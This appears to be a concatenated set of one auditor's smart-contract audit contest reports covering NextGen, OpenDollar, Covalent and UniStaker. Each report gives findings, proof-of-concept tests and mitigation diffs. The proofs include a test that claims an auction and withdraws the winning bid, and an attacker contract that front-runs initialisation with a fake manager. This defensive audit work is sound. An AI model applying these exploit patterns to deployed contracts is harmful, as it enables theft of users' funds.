713 | await network.provider.send("evm_increaseTime", [timeDifference - 1]);
714 | await network.provider.send("evm_mine", []);
715 |
716 | /**
717 | * --> Now lets see `AuctionDemo` balance
718 | * - From auction 1 --> (1 ETH, 2 ETH, 3 ETH) - Total 6 ETH
719 | * - From auction 2 --> (3 ETH) = Total 3 ETH
720 | * - So the total balance of the `AuctionDemo` is 9 ETH
721 | * - When claiming auction 1, the refunds will go to bidder 1 and bidder 2 (-3 ETH)
722 | * - transfereing the NFT to the winner
723 | * - Transfere the winner bid to the devs (-3 ETH)
724 | *
725 | * ---> AuctionDemo should not do anything else, and it should contains 3 ETH in balance from teh auction 2
726 | *
727 | * - What will occuar is that the winner itself will also withdraw his balance (-3 ETH)
728 | * - The winner will cancel his bid, after claiming
729 | * - So `AuctionDemo` contract will have 0 ETH in claiming the first auction instead of 3 ETH.
730 | */
731 |
732 | await claimWithoutPayContract.connect(winner).claimWithoutPay(auctionTokenId, 2);
733 | console.log(await claimWithoutPayContract.getAddress());
734 |
735 | claimWithoutPayContractBalance = await ethers.provider.getBalance(
736 | await claimWithoutPayContract.getAddress()
737 | );
738 | console.log(`The balance of the 'ClaimWithoutPay' contract : ${claimWithoutPayContractBalance}`); // 3 ETH
739 | console.log(`Owner of auctioned token: ${await contracts.hhCore.ownerOf(auctionTokenId)}`); // 0x84eA74d481Ee0A5332c457a4d796187F6Ba67fEB
740 | console.log(`Auction Demo balance; ${await ethers.provider.getBalance(await hhAuction.getAddress())}`); // 0
741 | });
742 | });
743 | ```
744 |
745 |
746 |
747 | #### Tools Used
748 | Manual Review + Hardhat
749 |
750 | #### Recommended Mitigation Steps
751 | One condition should remove the equal sign, to prevent this kind of thing from happening.
752 |
753 | We will update the `AuctionDemo::claimAuction` function and make it available for claiming after the ending period by 1 second.
754 | ```diff
755 | require(
756 | - block.timestamp >= minter.getAuctionEndTime(_tokenid) &&
757 | + block.timestamp > minter.getAuctionEndTime(_tokenid) &&
758 | auctionClaim[_tokenid] == false &&
759 | minter.getAuctionStatus(_tokenid) == true
760 | );
761 | ```
762 |
763 | So the person can not cancel the bid at the time of claiming, as they do not overlap at any time.
764 |
765 | ### Assessed type
766 |
767 | Invalid Validation
768 |
769 | ---
770 | ---
771 | ---
772 |
773 | ## [M-01] Minting Before burning in `NextGenCore::burnToMint` leads to reentrancy issues
774 |
775 | ### Lines of code
776 |
777 | https://github.com/code-423n4/2023-10-nextgen/blob/08a56bacd286ee52433670f3bb73a0e4a4525dd4/smart-contracts/NextGenCore.sol#L218-L221
778 |
779 | ### Vulnerability details
780 |
781 | #### Impact
782 |
783 | In `NextGenCore::burnToMint` function, which is used to mint a token by burning another token, the minting for the new token happens before burning the burned token. The minting is done through `safeMint()` function. So the minter can use the token before burning it in another position, leading to some problems.
784 |
785 | The user can reuse the token to mint another token, where the token is not burned yet. But since `burn()` function reverts if the token does not exist, minting more than one token using the same burned token can't occur.
786 |
787 | The problem that can occur is that the user can use this token, in an NFT trading platform for example. So it will be listed for sailing without actually being owned by anyone.
788 |
789 | Another problem, it can be listed for auction before burning in a public NFT marketplace like Opensea or Rarible, and the auctions and sales will not work, since the token does not even exist.
790 |
791 | There are other problems that can happen that we can't predict since you are giving the minter the freedom to use the NFT (burned token) before burning it.
792 |
793 |
794 | #### Proof of Concept
795 |
796 | As it's clear in the snipped code the minting is done, then the burning.
797 | ```solidity
798 | // NextGenCore::burnToMint
799 | _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
800 |
801 | // burn token
802 | _burn(_tokenId);
803 | ```
804 |
805 | `_mintProcessing()` calls `_safeMint()` function, which is existed in `ERC721`.
806 | ```solidity
807 | // NextGenCore::_mintProcessing
808 | function _mintProcessing( ... ) internal {
809 | tokenData[_mintIndex] = _tokenData;
810 | collectionAdditionalData[_collectionID].randomizer.calculateTokenHash(_collectionID, _mintIndex, _saltfun_o);
811 | tokenIdsToCollectionIds[_mintIndex] = _collectionID;
812 | _safeMint(_recipient, _mintIndex);
813 | }
814 | ```
815 |
816 | `_safeMint()` checks if the receiver is a contract or not, and it fires `onERC721Received` on it.
817 | ```solidity
818 | // ERC721::_checkOnERC721Received
819 | if (to.isContract()) {
820 | try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, data) returns (bytes4 retval) {
821 | return retval == IERC721Receiver.onERC721Received.selector;
822 | } catch (bytes memory reason) { ... }
823 | } else { ... }
824 | ```
825 |
826 | Now the receiver, a smart contract with `onERC721Received` function, can do anything with the NFT with the burned tokenId before burning it.
827 | ```solidity
828 | contract ReentrancyBurnToMint {
829 | ...
830 |
831 | function onERC721Received(address from, address to, uint256 tokenId, bytes memory data) external returns (bytes4) {
832 | // Do any thing with the burned token
833 | return this.onERC721Received.selector;
834 | }
835 | }
836 | ```
837 |
838 |
839 | #### Tools Used
840 | Manual Review
841 |
842 | #### Recommended Mitigation Steps
843 |
844 | Burn before minting the new token, to make minting the last step. This will secure the protocol from reentrancy before burning the token.
845 |
846 | ```diff
847 | // NextGenCore::burnToMint -> if block
848 | - _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
849 |
850 | // burn token
851 | _burn(_tokenId);
852 | burnAmount[_burnCollectionID] = burnAmount[_burnCollectionID] + 1;
853 |
854 | // mint the token in the last step
855 | + _mintProcessing(mintIndex, ownerOf(_tokenId), tokenData[_tokenId], _mintCollectionID, _saltfun_o);
856 | ```
857 |
858 | ### Assessed type
859 |
860 | Reentrancy
861 |
--------------------------------------------------------------------------------
/Contests/2023-10-opendollar.md:
--------------------------------------------------------------------------------
1 | # OpenDollar
2 | OpenDollar contest || Stablecoin || 18 Oct 2023 to 25 Nov 2023 on [code4rena](https://code4rena.com/audits/2023-10-open-dollar#top)
3 |
4 | ## My Findings Summary
5 |
6 | |ID|Title|Severity|
7 | |:-:|-----|:------:|
8 | |[L-01](#l-01-initialization-of-safemanger-contract-in-vault721-contract-is-allowed-to-anyone-and-it-can-be-initialized-by-a-malicious-contract-by-an-mev)|Initialization of `SafeManger` contract in `Vault721` contract is allowed to anyone, and it can be initialized by a Malicious contract by an MEV|LOW|
9 | |[L-02](#l-02-payable-function-with-delegatecall-traps-ether-in-odproxyexecute)|Payable Function with Delegatecall Traps Ether in `ODProxy::execute`|LOW|
10 | ||||
11 | |[NC‑01](#nc-01-reused-code-in-camelotrelayersol-and-univ3relayersol-can-be-refactored-in-a-single-function)|Reused code in `CamelotRelayer.sol` and `UniV3Relayer.sol` can be refactored in a single function|INFO|
12 | |[NC-02](#nc-02-reused-code-in-odsafemanagersol-can-be-refactored-in-a-single-function)|Reused code in `ODSafeManager.sol` can be refactored in a single function|INFO|
13 | |[NC-03](#nc-03-unused-parameter-in-vault721_aftertokentransfer-function)|Unused parameter in `Vault721::_afterTokenTransfer` function|INFO|
14 |
15 | ---
16 |
17 | ## [L-01] Initialization of `SafeManger` contract in `Vault721` contract is allowed to anyone, and it can be initialized by a Malicious contract by an MEV
18 |
19 | ### Summary
20 | `SafeManger` contract can only be initialized once, then it can only be changed through the governance. So it may get initialized by a Malicious contract by MEV.
21 |
22 | ### Impact
23 | Anyone can initialize the `safeManager` address in `Vault721`, but once initialized it can only be changed through governance.
24 |
25 | The problem is that the function doesn't revert, so the deploying process will not revert if this attack occurs.
26 |
27 | ```solidity
28 | // Vault721::initializeManager
29 | // @audit [M: Anyone can initialize first]
30 | function initializeManager() external {
31 | if (address(safeManager) == address(0)) _setSafeManager(msg.sender);
32 | }
33 | ```
34 |
35 | The code is open source, and it is in a public context, so some bad people may see the code, so they may try to do this attack. and it will let them have control over the system.
36 |
37 | For example: they can initialize it to a contract exactly as the SafeManger contract, with the same functions, but with some functions to steal funds.
38 |
39 | Hackers can track all team wallets used in testing, and deploying into testnets. and if the team used one of these wallets to deploy to mainnet, this attack could occur.
40 |
41 | If the team decided to distribute governance tokens before deploying, then changing it may be kind of hard. In addition to the waste of money used in wrong deploying.
42 |
43 | NOTE: This can be made to `Vault721::initializeRenderer` also, but it's not a problem, since it just previews the NFT as an image.
44 |
45 | ### Proof of Concept
46 | I made a file `test/Attack.t.sol` to simulate the attack scenario, here is the scenario that can occur when deploying the code to mainnet.
47 |
48 | ```solidity
49 | // SPDX-License-Identifier: GPL-3.0
50 | pragma solidity 0.8.19;
51 |
52 | import {Test, console} from "forge-std/Test.sol";
53 | import "@script/Contracts.s.sol";
54 |
55 | contract Attack is Contracts, Test {
56 | address public Attacker = makeAddr("attacker");
57 |
58 | function testAttacking() public {
59 | // An Attacker is tracking all OpenDollar team wallets TXs...
60 | safeEngine = new SAFEEngine(
61 | ISAFEEngine.SAFEEngineParams({
62 | safeDebtCeiling: 2_000_000 * (10 ** 18), // 2M COINs (WAD)
63 | globalDebtCeiling: 25_000_000 * (10 ** 45) // 25M COINs (RAD)
64 | })
65 | );
66 |
67 | // oracleRelayer = new OracleRelayer(address(safeEngine), systemCoinOracle, _oracleRelayerParams);
68 | // [rest of deployments before deploying `vault721`]
69 |
70 | // The Attacker (MEV) Get that the vault contract is deployed
71 | vault721 = new Vault721(address(odGovernor));
72 |
73 | // The Attacker will set safeManager address before list of deployments
74 | vm.startPrank(Attacker);
75 | AttackContract fakeSafeManager = new AttackContract(
76 | address(safeEngine),
77 | address(vault721)
78 | );
79 | fakeSafeManager.attack(address(vault721));
80 | vm.stopPrank();
81 | // ------------
82 |
83 | safeManager = new ODSafeManager(address(safeEngine), address(vault721));
84 | // nftRenderer = new NFTRenderer(address(vault721), address(oracleRelayer), address(taxCollector), address(collateralJoinFactory));
85 | // [rest of deploying after deploying `vault721`]
86 |
87 | console.log(
88 | "Real SafeManager Address:",
89 | address(vault721.safeManager())
90 | ); // 0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a
91 | console.log("Expected SafeManager Address:", address(safeManager)); // 0xF62849F9A0B5Bf2913b396098F7c7019b51A820a
92 |
93 | assertEq(address(vault721.safeManager()), address(fakeSafeManager)); // 0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a
94 |
95 | // An attack occurs successfully, and no error occurs but the contract is set to a Malicious contract
96 |
97 | // No one can initialize it since it's already initialized, it must be changed through the governance
98 | vault721.initializeManager();
99 |
100 | assertEq(address(vault721.safeManager()), address(fakeSafeManager)); // 0x959951c51b3e4B4eaa55a13D1d761e14Ad0A1d6a
101 | }
102 | }
103 |
104 | /// @dev This contract can implement all `ODSafeManger` functions, but with a function to crack the system.
105 | contract AttackContract is ODSafeManager {
106 | constructor(
107 | address _safeEngine,
108 | address _vault721
109 | ) ODSafeManager(_safeEngine, _vault721) {}
110 |
111 | function attack(address target) public {
112 | (bool success, bytes memory res) = target.call(
113 | abi.encodeWithSignature("initializeManager()")
114 | );
115 | }
116 |
117 | // function stealFunds() public {
118 | // ...
119 | // }
120 | }
121 | ```
122 |
123 | ### Tools Used
124 | Manual Review
125 |
126 | ### Recommended Mitigation Steps
127 | - The team should use a different wallet in deploying to mainnet, and not use wallets used in testing.
128 | - The team should check that the SafeManager address is initialized correctly after completing the deployment process.
129 | - If the team wants to distribute governance tokens in ICO, they can wait till they are sure the system is working well, then distribute tokens.
130 |
131 | Just one of these approaches should solve the problem, but it's better to keep all solutions in mind.
132 |
133 | ---
134 |
135 | ## [L-02] Payable Function with Delegatecall Traps Ether in `ODProxy::execute`
136 |
137 | ### Impact
138 | the execute function in the `ODProxy` contract has a payable modifier, which implies that it can receive Ether. However, the function utilizes delegatecall to execute code in another contract (Action contracts like `BasicAction`), which does not forward the Ether sent to the execute function. As a result, any Ether sent to this function becomes trapped within the contract.
139 |
140 | ```solidity
141 | // ODProxy::execute
142 | // @audit [M: payable function with no handled ETH]
143 | function execute(
144 | address _target,
145 | bytes memory _data
146 | ) external payable onlyOwner returns (bytes memory _response) {
147 | if (_target == address(0)) revert TargetAddressRequired();
148 |
149 | bool _succeeded;
150 | (_succeeded, _response) = _target.delegatecall(_data);
151 |
152 | if (!_succeeded) {
153 | revert TargetCallFailed(_response);
154 | }
155 | }
156 | ```
157 |
158 | ### Tools Used
159 | Manual Review
160 |
161 | ### Recommended Mitigation Steps
162 | Since The protocol doesn't depend on the native ETH coin, the payable modifier should be removed from the execute function in the `ODProxy` contract.
163 |
164 | ---
165 | ---
166 | ---
167 |
168 | ## [NC-01] Reused code in `CamelotRelayer.sol` and `UniV3Relayer.sol` can be refactored in a single function
169 |
170 | In `CamelotRelayer.sol` contract, function `read()` and function `getResultWithValidity()` have the same code to get the quoteAmount, so we can make a function `getQuoteAmount()` for example, and use it in both of them.
171 |
172 | - **contracts/oracles/CamelotRelayer.sol**
173 | - [#L74-L81](https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/oracles/CamelotRelayer.sol#L74-L81)
174 | - [#L93-L99](https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/oracles/CamelotRelayer.sol#L93-L99)
175 |
176 | The same refactor can be made in `UniV3Relayer.sol` contract, as it implements the same logic of `CamelotRelayer.sol`
177 |
178 | - **contracts/oracles/UniV3Relayer.sol**
179 | - [#L80-L87](https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/oracles/UniV3Relayer.sol#L80-L87)
180 | - [#L99-L105](https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/oracles/UniV3Relayer.sol#L99-L105)
181 |
182 |
183 | ### [NC-02] Reused code in `ODSafeManager.sol` can be refactored in a single function
184 |
185 | In `ODSafeManager.sol` contract, functions `quitSystem` and `enterSystem` have the same code to get the deltaCollateral and deltaDebt values. so we can make a function `getSafeDeltaInfo()` for example, and use it in both of them.
186 |
187 | - **contracts/proxies/ODSafeManager.sol**
188 | - [#L190-L193](https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/proxies/ODSafeManager.sol#L190-L193)
189 | - [#L206-L209](https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/proxies/ODSafeManager.sol#L206-L209)
190 |
191 |
192 | ### [NC-03] Unused parameter in `Vault721::_afterTokenTransfer` function
193 |
194 | The fourth parameter which is `batchSize` is not used in the `Vailt721` contract, but it must be set since the function has this parameter in `ERC721` contract. It is better to not path the parameter and just add the type instead, like this.
195 |
196 | ```solidity
197 | // Vault721::_afterTokenTransfer
198 | function _afterTokenTransfer(
199 | address from,
200 | address to,
201 | uint256 firstTokenId,
202 | uint256 /*batchSize*/ // @audit [removing the unused parameter]
203 | )
204 | ```
205 |
206 | - **contracts/proxies/Vault721.sol**
207 | - [#L187](https://github.com/open-dollar/od-contracts/blob/v1.5.5-audit/src/contracts/proxies/Vault721.sol#L187)
208 |
209 |
210 |
211 |
212 |
213 |
214 |
215 |
--------------------------------------------------------------------------------
/Contests/2024-01-covalent.md:
--------------------------------------------------------------------------------
1 | # Covelant
2 | Covelant contest || Staking, Nodes Block Producers || 22 Jan 2024 to 16 Jan 2024 on [sherlock](https://audits.sherlock.xyz/contests/127)
3 |
4 | ## My Findings Summary
5 |
6 | |ID|Title|Severity|
7 | |--|-----|:------:|
8 | |[M‑01](#h-01-reentrancy-in-nextgencoremint-can-allow-users-to-mint-tokens-more-than-the-max-allowance)|Validators can stake greater than `validatorMaxStake`|MEDIUM|
9 |
10 | ---
11 |
12 | ## [M-01] Validators can stake greater than `validatorMaxStake`
13 |
14 | ### Summary
15 | Validators can change their addresses via `OS::setValidatorAddress()`, making their `stake` amount exceeds `validatorMaxStake`.
16 |
17 | ### Vulnerability Detail
18 | Validators should not stake with a value greater than `validatorMaxStake`, to distribute control over the network and BSP, and to prevent centralization control over the protocol by rich people.
19 |
20 | In `OS::setValidatorAddress()`, the validator can change his address by sending staked tokens and shares to a new address.
21 |
22 | ```solidity
23 | // FILE: OperationalStaking.sol#L697
24 | v.stakings[newAddress].shares += v.stakings[msg.sender].shares;
25 | v.stakings[newAddress].staked += v.stakings[msg.sender].staked;
26 | ```
27 |
28 | If the new address, is already a staker (delegator), it will increase the staked amount of the new validator (old staked + delegator staked).
29 |
30 | By taking validatorMaxStake = `350_000e18` and maxCapMultiplier = `10`.
31 |
32 | If the validator staked the maximum available tokens i.e.`350_000e18`, and delegated to another address that already has stakes, the validator will have stakes greater than `validatorMaxStake` parameter.
33 |
34 | The more the validator stakes, the more delegators can stake their tokens with him.
35 |
36 | So if the validator staked `350_000e18` (max), used another address and staked `350_000e18`, then changed the address to the address he staked with, the validator will end up with `700_000e18` staked tokens.
37 |
38 | This will not only make the validator stake more than the limit, but also The `ValidatorMaxCap` will rise from: `3_500_000e18` to `7_000_000e18`, allowing the validator to accept more delegates.
39 |
40 | [OperationalStaking.sol#L431-L435](https://github.com/sherlock-audit/2023-11-covalent/blob/main/cqt-staking/contracts/OperationalStaking.sol#L431-L435)
41 | ```solidity
42 | // cannot stake more than validator delegation max cap
43 | uint128 delegationMaxCap = v.stakings[v._address].staked * maxCapMultiplier;
44 | uint128 newDelegated = v.delegated + amount;
45 | require(newDelegated <= delegationMaxCap, "Validator max delegation exceeded");
46 | v.delegated = newDelegated;
47 | ```
48 |
49 | $ValidatorMaxCap(max) = validatorMaxStake x maxCapMultiplier$
50 |
51 | $ValidatorMaxCap(max) = 350,000e18 x 10 = 3,500,000e18$
52 |
53 | ---
54 |
55 | $ValidatorMaxCap(now) = validator.stake x maxCapMultiplier$
56 |
57 | $ValidatorMaxCap(now) = 700,000e18 x 10 = 7,000,000e18$
58 |
59 | And if the validator wants to stake more, he can simply use another address, stake with it, and then change his address to him (again and again without stopping). Making the validator be able to break the `validatorMaxStake` and `maxCapMultiplier` checks.
60 |
61 | ### Impact
62 | Validators can break `validatorMaxStake` and `maxCapMultiplier` checks.
63 |
64 | ### Code Snippet
65 | https://github.com/sherlock-audit/2023-11-covalent/blob/main/cqt-staking/contracts/OperationalStaking.sol#L697
66 |
67 | ### Tool used
68 | Manual Review + Foundry
69 |
70 | ### Recommendation
71 | Check the new validator staked balance when changing his address.
72 |
73 | ```diff
74 | // OperationalStaking::setValidatorAddress() L696-L700
75 | v.stakings[newAddress].shares += v.stakings[msg.sender].shares;
76 | v.stakings[newAddress].staked += v.stakings[msg.sender].staked;
77 |
78 | + require(v.stakings[newAddress].staked <= validatorMaxStake, "exceeds `validatorMaxStake` parameter");
79 |
80 | delete v.stakings[msg.sender];
81 | ```
82 |
83 |
84 |
85 |
86 |
87 |
--------------------------------------------------------------------------------
/Contests/2024-02-unistaker.md:
--------------------------------------------------------------------------------
1 | # UniStaker Infrastructure
2 | UniStaker contest || Staking, Voting || 23 Feb 2024 to 5 Mar 2024 on [code4rena](https://code4rena.com/audits/2024-02-unistaker-infrastructure#top)
3 |
4 | ## Summary
5 |
6 | |ID|Title|
7 | |:-:|-----|
8 | |[L-01](#l-01-claiming-all-fees-collected-will-revert-because-of-not-clearing-slot-check)|Claiming all fees collected will revert because of not clearing slot check|
9 | |[L-02](#l-02-unistakernotifyrewardamount-reward-transferred-check-can-get-down-permanently)|`UniStaker::notifyRewardAmount` reward transferred check can get down permanently|
10 | |[L-03](#l-03-mev-searcher-will-not-claim-the-fees-for-the-swaps-that-occurred-after-initializing-claimfees-function)|MEV searcher will not claim the fees for the swaps that occurred after initializing `claimFees` function|
11 | |[L-04](#l-04-signatures-do-not-have-a-deadline-even-the-significant-ones)|Signatures do not have a deadline, even the significant ones|
12 | |[L-05](#l-05-stake-more-signature-do-not-check-beneficiary-address-changing)|Stake More signature do not check beneficiary address changing|
13 | |||
14 | |[NC‑01](#nc-01-factoryowner-cannot-activate-more-than-one-pool-at-a-time)|FactoryOwner cannot activate more than one pool at a time|
15 | |[NC-02](#nc-02-values-are-not-checked-that-they-differ-from-the-old-values-when-altering-them)|Values are not checked that they differ from the old values when altering them|
16 | |[NC-03](#nc-03-unauthorized-error-has-no-parameters-in-v3factoryowner)|Unauthorized error has no parameters in `V3FactoryOwner`|
17 | |[NC-04](#nc-04-type-definition-should-be-at-the-top)|Type definition should be at the top|
18 | |[NC-05](#nc-05-time-weighted-contributions-staking-algorism-is-activated-only-after-the-first-reward-notified)|Time-weighted contributions staking algorism is activated only after the first reward notified|
19 | |[NC-06](#nc-06-fixed-payoutamount-may-cause-some-pools-unprofitable-to-claim-their-fees)|Fixed `payoutAmount` may cause some pools unprofitable to claim their fees|
20 |
21 |
22 | ---
23 |
24 | ## [L-01] Claiming all fees collected will revert because of not clearing slot check
25 |
26 | ## Impact
27 |
28 | Stakers earn yields when someone claims the Uniswap pool fees and pays the `payoutAmount` WETH, and if the amount of tokens either the first pair or the second is less than the amount requested by the user the transaction reverts.
29 |
30 | [V3FactoryOwner.sol#L181-L198](https://github.com/code-423n4/2024-02-uniswap-foundation/blob/main/src/V3FactoryOwner.sol#L181-L198)
31 | ```solidity
32 | function claimFees(IUniswapV3PoolOwnerActions _pool, address _recipient, uint128 _amount0Requested, uint128 _amount1Requested) external returns (uint128, uint128) {
33 | ...
34 | (uint128 _amount0, uint128 _amount1) =
35 | _pool.collectProtocol(_recipient, _amount0Requested, _amount1Requested); // @audit Claiming pool fees
36 |
37 | // Protect the caller from receiving less than requested. See `collectProtocol` for context.
38 | if (_amount0 < _amount0Requested || _amount1 < _amount1Requested) { // @audit check that the amount received is not smaller than requested
39 | revert V3FactoryOwner__InsufficientFeesCollected();
40 | }
41 | ...
42 | }
43 | ```
44 |
45 | This check protects the caller of the function from getting less amount than expected, as he pays WETH to take these fees. But if the caller requests to claim all protocol fees, which is the best case for him to earn the max profit, the transaction will get reverted, as the receiving amount will get subtracted by 1 when calling `pool::collectProtocol()` with the `amount*Requested == protocolFees.token*`.
46 |
47 | [v3-core/UniswapV3Pool.sol#L848-L868](https://github.com/Uniswap/v3-core/blob/main/contracts/UniswapV3Pool.sol#L848-L868)
48 | ```solidity
49 | function collectProtocol(address recipient, uint128 amount0Requested, uint128 amount1Requested) external override lock onlyFactoryOwner returns (uint128 amount0, uint128 amount1) {
50 | amount0 = amount0Requested > protocolFees.token0 ? protocolFees.token0 : amount0Requested;
51 | amount1 = amount1Requested > protocolFees.token1 ? protocolFees.token1 : amount1Requested;
52 |
53 | if (amount0 > 0) {
54 | // @audit the amount received will get subtracted by 1 if it is all fees collected
55 | if (amount0 == protocolFees.token0) amount0--; // ensure that the slot is not cleared, for gas savings
56 | protocolFees.token0 -= amount0;
57 | TransferHelper.safeTransfer(token0, recipient, amount0);
58 | }
59 | if (amount1 > 0) {
60 | // @audit the amount received will get subtracted by 1 if it is all fees collected
61 | if (amount1 == protocolFees.token1) amount1--; // ensure that the slot is not cleared, for gas savings
62 | protocolFees.token1 -= amount1;
63 | TransferHelper.safeTransfer(token1, recipient, amount1);
64 | }
65 |
66 | emit CollectProtocol(msg.sender, recipient, amount0, amount1);
67 | }
68 |
69 | ```
70 |
71 | So the transaction will get reverted and claiming all protocol fees from either the first or the second token will get reverted.
72 |
73 | Since the caller pays the `payoutAmount` to claim the fees, the caller will simply request to take all fees from both tokens. And there are MEVs (Uniswap may have one) that will track the amount of fees collected and compare it to the `payoutAmount`, and call the function by reading the values from the pool itself (to claim all the fees). So firing the function with the maximum fees taken by the pool will be the default behavior, and it will get reverted as we illustrated.
74 |
75 | ## Proof of Concept
76 |
77 | We created a Foundry test that simulates claiming fees from a real uni-V3 pool, here is how to set it up.
78 |
79 | 1. Add the word `virtual` to [`test/mocks/MockUniswapV3Pool.sol::collectProtocol()`](https://github.com/code-423n4/2024-02-uniswap-foundation/blob/main/test/mocks/MockUniswapV3Pool.sol#L29)
80 | 2. Add the next contract in [`test/V3FactoryOwner.t.sol`](https://github.com/code-423n4/2024-02-uniswap-foundation/blob/main/test/V3FactoryOwner.t.sol#L15)
81 |
82 | Contract
83 |
84 | ```solidity
85 | ...
86 | import {MockUniswapV3Factory} from "test/mocks/MockUniswapV3Factory.sol";
87 |
88 | // Add the following contract after the upper line
89 | contract Auditor_MockUniswapV3Pool is MockUniswapV3Pool {
90 |
91 | // UniswapV3 pool `collectProtocol()` function
92 | function collectProtocol(address /* recipient */, uint128 amount0Requested, uint128 amount1Requested)
93 | external
94 | override
95 | returns (uint128, uint128)
96 | {
97 | uint128 amount0 = amount0Requested > mockFeesAmount0 ? mockFeesAmount0 : amount0Requested;
98 | uint128 amount1 = amount1Requested > mockFeesAmount1 ? mockFeesAmount1 : amount1Requested;
99 |
100 | if (amount0 > 0) {
101 | if (amount0 == mockFeesAmount0) amount0--; // ensure that the slot is not cleared, for gas savings
102 | mockFeesAmount0 -= amount0;
103 | // TransferHelper.safeTransfer(token0, recipient, amount0);
104 | }
105 | if (amount1 > 0) {
106 | if (amount1 == mockFeesAmount1) amount1--; // ensure that the slot is not cleared, for gas savings
107 | mockFeesAmount1 -= amount1;
108 | // TransferHelper.safeTransfer(token1, recipient, amount1);
109 | }
110 |
111 | return (amount0 , amount1);
112 | }
113 | }
114 |
115 | ```
116 |
117 |
118 | 3. Add this following script in `V3FactoryOwner.t.sol` after [`testFuzz_RevertIf_CallerExpectsMoreFeesThanPoolPaysOut` test](https://github.com/code-423n4/2024-02-uniswap-foundation/blob/main/test/V3FactoryOwner.t.sol#L479)
119 |
120 |
121 | Testing Script
122 |
123 | ```solidity
124 | contract ClaimFees is V3FactoryOwnerTest {
125 | ...
126 |
127 | Auditor_MockUniswapV3Pool auditor_pool;
128 |
129 | function test_auditor_claimMaximumFeesReverts() public {
130 |
131 | auditor_pool = new Auditor_MockUniswapV3Pool();
132 | vm.label(address(pool), "Pool");
133 |
134 | uint256 payoutAmount = 1e18; // paying 1e18 to claim reward
135 | address caller = makeAddr("caller"); // The caller of the `claimFee`
136 | address receipent = makeAddr("receipent"); // The receipent of the pool token pairs fees
137 | uint128 amount0 = 0.5e18; // first token pait fees received
138 | uint128 amount1 = 0.5e18; // second token pait fees received
139 |
140 | _deployFactoryOwnerWithPayoutAmount(payoutAmount);
141 | payoutToken.mint(caller, payoutAmount);
142 |
143 | // Updating fees to 0.5e18 for each token pair
144 | auditor_pool.setNextReturn__collectProtocol(0.5e18, 0.5e18);
145 |
146 | vm.startPrank(caller);
147 | payoutToken.approve(address(factoryOwner), payoutAmount);
148 |
149 | console2.log("protocolFees.token0:", auditor_pool.mockFeesAmount0());
150 | console2.log("protocolFees.token1:", auditor_pool.mockFeesAmount1());
151 | console2.log("amount0Requested:", amount0);
152 | console2.log("amount1Requested:", amount1);
153 |
154 | // vm.expectRevert(V3FactoryOwner.V3FactoryOwner__InsufficientFeesCollected.selector);
155 | factoryOwner.claimFees(auditor_pool, receipent, amount0, amount1);
156 |
157 | console2.log("");
158 | console2.log("Call reverted");
159 |
160 | vm.stopPrank();
161 |
162 | }
163 | }
164 | ```
165 |
166 |
167 | 4. Run the script `forge test --mt test_auditor_claimMaximumFeesReverts`
168 |
169 | Output:
170 | ```
171 | protocolFees.token0: 500000000000000000
172 | protocolFees.token1: 500000000000000000
173 | amount0Requested: 500000000000000000
174 | amount1Requested: 500000000000000000
175 |
176 | // Calling Factory::claimFees() ...
177 |
178 | [FAIL. Reason: V3FactoryOwner__InsufficientFeesCollected()]
179 |
180 | ├─ [45140] Factory Owner::claimFees(Auditor_MockUniswapV3Pool: [0xc7183455a4C133Ae270771860664b6B7ec320bB1], receipent: [0x0a4d4851029426cF1CC7AFa6E8031D5b4BeA2Be2], 500000000000000000 [5e17], 500000000000000000 [5e17])
181 | │ ├─ [20686] Payout Token::transferFrom(caller: [0xA5cd91e65Fb56f2f6bD848E546B259249c6F1695], Reward Receiver: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], 1000000000000000000 [1e18])
182 | │ │ ├─ emit Transfer(from: caller: [0xA5cd91e65Fb56f2f6bD848E546B259249c6F1695], to: Reward Receiver: [0x2e234DAe75C793f67A35089C9d99245E1C58470b], value: 1000000000000000000 [1e18])
183 | │ │ └─ ← true
184 | │ ├─ [22290] Reward Receiver::notifyRewardAmount(1000000000000000000 [1e18])
185 | │ │ └─ ← ()
186 | │ ├─ [2578] Auditor_MockUniswapV3Pool::collectProtocol(receipent: [0x0a4d4851029426cF1CC7AFa6E8031D5b4BeA2Be2], 500000000000000000 [5e17], 500000000000000000 [5e17])
187 | │ │ └─ ← 499999999999999999 [4.999e17], 499999999999999999 [4.999e17]
188 | │ └─ ← V3FactoryOwner__InsufficientFeesCollected()
189 | └─ ← V3FactoryOwner__InsufficientFeesCollected()
190 | ```
191 |
192 | ## Tools Used
193 | Manual Review + Foundry
194 |
195 | ## Recommended Mitigation Steps
196 | Make 1 wei tolerance when checking for the received value in `V3FactoryOwner::claimFees()`
197 |
198 | ```diff
199 | function claimFees( ... ) external returns (uint128, uint128) {
200 | ...
201 |
202 | // Protect the caller from receiving less than requested. See `collectProtocol` for context.
203 | - if (_amount0 < _amount0Requested || _amount1 < _amount1Requested) {
204 | + if (_amount0 + 1 < _amount0Requested || _amount1 + 1 < _amount1Requested) {
205 | revert V3FactoryOwner__InsufficientFeesCollected();
206 | }
207 |
208 | ...
209 | }
210 |
211 | ```
212 |
213 | ---
214 |
215 | ## [L-02] `UniStaker::notifyRewardAmount` reward transferred check can get down permanently
216 |
217 | `Unistaker::notifyRewardAmount` is designed to be called once the award is distributed, but this function design can not guarantee that the rewards are distributed.
218 |
219 | Trail Of Bits has mentioned in their report that users' unclaimed tokens are not checked with it, so the `notifyRewardAmount` can be fired without distributing the exact amount.
220 |
221 | What we want to point out here is that this check can get permanently off (get passed all the time), if the contract receives donations.
222 |
223 | The check is done to see that the amount the contract received + remaining rewards are not greater than the actual contract balance.
224 |
225 | [UniStaker.sol#L594-L596](https://github.com/code-423n4/2024-02-uniswap-foundation/blob/main/src/UniStaker.sol#L594-L596)
226 | ```solidity
227 | function notifyRewardAmount(uint256 _amount) external {
228 | ...
229 |
230 | if (
